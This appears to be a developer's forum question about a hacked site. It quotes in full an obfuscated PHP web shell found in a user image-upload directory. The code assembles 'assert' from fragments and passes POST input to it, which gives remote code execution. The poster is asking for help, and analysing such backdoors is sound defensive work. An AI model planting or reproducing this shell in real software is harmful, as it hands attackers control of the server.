Recently i found out my project got hacked and i found a script in my images folder which where a directory for user to upload their images (using file input). Here is the script that i found in the directory.
errot_db.php
<?php                  
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                  
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                  
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}                  
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
?>